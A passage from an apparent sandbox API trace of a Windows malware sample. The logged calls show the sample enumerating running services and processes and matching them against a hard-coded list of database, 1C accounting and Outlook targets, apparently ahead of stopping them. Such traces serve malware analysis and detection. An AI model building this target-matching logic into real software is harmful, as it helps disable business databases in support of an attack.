(lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0234.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0234.448] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0234.449] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0234.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0234.449] lstrlenW (lpString="ShellHWDetection") returned 16 [0234.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0234.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0234.449] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0234.449] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0234.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0234.449] lstrlenW (lpString="Spooler") returned 7 [0234.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0234.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0234.449] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0234.449] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0234.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0234.449] lstrlenW (lpString="Themes") returned 6 [0234.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0234.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0234.450] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0234.450] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0234.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0234.450] lstrlenW (lpString="UxSms") returned 5 [0234.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0234.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0234.450] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0234.450] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0234.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0234.451] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x432a868 | out: hHeap=0x590000) returned 1 [0234.451] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x394 [0234.456] Process32FirstW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0234.456] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0234.457] lstrlenW (lpString="System") returned 6 [0234.457] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0234.458] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0234.458] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0234.458] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0234.458] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0234.458] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0234.458] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0234.458] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0234.459] lstrlenW (lpString="smss.exe") returned 8 [0234.459] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0234.459] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0234.459] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0234.459] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0234.459] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0234.459] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0234.459] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0234.460] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0234.460] lstrlenW (lpString="csrss.exe") returned 9 [0234.461] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0234.461] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0234.461] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0234.461] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0234.461] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0234.461] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0234.461] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0234.461] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0234.462] lstrlenW (lpString="wininit.exe") returned 11 [0234.463] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0234.463] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0234.463] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0234.463] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0234.463] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0234.463] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0234.463] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0234.463] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0234.464] lstrlenW (lpString="csrss.exe") returned 9 [0234.464] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0234.464] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0234.464] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0234.464] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0234.464] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0234.464] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0234.464] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0234.464] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0234.465] lstrlenW (lpString="winlogon.exe") returned 12 [0234.465] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0234.465] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0234.465] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0234.466] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0234.466] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0234.466] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0234.466] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0234.466] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0234.467] lstrlenW (lpString="services.exe") returned 12 [0234.467] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0234.467] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0234.467] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0234.467] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0234.467] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0234.467] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0234.467] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0234.467] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0234.468] lstrlenW (lpString="lsass.exe") returned 9 [0234.468] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0234.468] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0234.468] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0234.468] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0234.469] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0234.469] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0234.469] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0234.469] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0234.470] lstrlenW (lpString="lsm.exe") returned 7 [0234.470] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0234.470] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0234.470] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0234.470] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0234.470] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0234.470] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0234.470] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0234.470] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.471] lstrlenW (lpString="svchost.exe") returned 11 [0234.471] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0234.471] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0234.471] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0234.471] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0234.472] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0234.472] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0234.472] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0234.472] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.473] lstrlenW (lpString="svchost.exe") returned 11 [0234.473] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0234.473] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0234.473] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0234.473] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0234.473] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0234.473] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0234.473] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0234.473] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.474] lstrlenW (lpString="svchost.exe") returned 11 [0234.474] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0234.474] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0234.474] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0234.474] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0234.474] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0234.474] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0234.474] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0234.475] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.476] lstrlenW (lpString="svchost.exe") returned 11 [0234.476] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0234.476] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0234.476] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0234.476] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0234.476] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0234.476] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0234.476] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0234.476] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.477] lstrlenW (lpString="svchost.exe") returned 11 [0234.477] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0234.477] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0234.477] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0234.633] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0234.635] lstrlenW (lpString="audiodg.exe") returned 11 [0234.635] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.636] lstrlenW (lpString="svchost.exe") returned 11 [0234.636] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0234.637] lstrlenW (lpString="userinit.exe") returned 12 [0234.637] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0234.638] lstrlenW (lpString="explorer.exe") returned 12 [0234.638] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0234.639] lstrlenW (lpString="dwm.exe") returned 7 [0234.639] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.640] lstrlenW (lpString="svchost.exe") returned 11 [0234.640] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0234.641] lstrlenW (lpString="winhost.exe") returned 11 [0234.641] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0234.642] lstrlenW (lpString="spoolsv.exe") returned 11 [0234.642] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0234.643] lstrlenW (lpString="dllhost.exe") returned 11 [0234.643] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.644] lstrlenW (lpString="svchost.exe") returned 11 [0234.644] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0234.644] lstrlenW (lpString="taskhost.exe") returned 12 [0234.645] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0234.646] lstrlenW (lpString="reader_sl.exe") returned 13 [0234.646] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0234.647] CloseHandle (hObject=0x394) returned 1 [0234.647] Sleep (dwMilliseconds=0x1f4) [0236.296] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e450 [0238.294] EnumServicesStatusExW (in: hSCManager=0x62e450, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0238.298] GetLastError () returned 0xea [0238.299] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xcec) returned 0x432a868 [0238.299] EnumServicesStatusExW (in: hSCManager=0x62e450, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x432a868, cbBufSize=0xcec, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x432a868, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0238.378] GetLastError () returned 0xea [0238.378] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x432a868, Size=0xd72) returned 0x42a0060 [0238.378] EnumServicesStatusExW (in: hSCManager=0x62e450, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42a0060, cbBufSize=0xd72, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42a0060, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0238.379] CloseServiceHandle (hSCObject=0x62e450) returned 1 [0238.380] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0238.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0238.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0238.380] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0238.380] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0238.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0238.380] lstrlenW (lpString="AudioSrv") returned 8 [0238.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0238.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0238.380] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0238.380] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0238.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0238.381] lstrlenW (lpString="BFE") returned 3 [0238.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0238.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0238.381] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0238.381] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0238.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0238.381] lstrlenW (lpString="CryptSvc") returned 8 [0238.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0238.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0238.381] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0238.381] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0238.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0238.382] lstrlenW (lpString="CscService") returned 10 [0238.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0238.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0238.382] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0238.382] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0238.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0238.382] lstrlenW (lpString="DcomLaunch") returned 10 [0238.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0238.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0238.382] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0238.382] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0238.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0238.383] lstrlenW (lpString="Dhcp") returned 4 [0238.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0238.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0238.383] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0238.383] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0238.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0238.383] lstrlenW (lpString="Dnscache") returned 8 [0238.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0238.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0238.383] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0238.383] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0238.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0238.383] lstrlenW (lpString="DPS") returned 3 [0238.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0238.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0238.384] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0238.384] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0238.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0238.384] lstrlenW (lpString="eventlog") returned 8 [0238.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0238.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0238.384] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0238.384] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0238.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0238.384] lstrlenW (lpString="EventSystem") returned 11 [0238.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0238.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 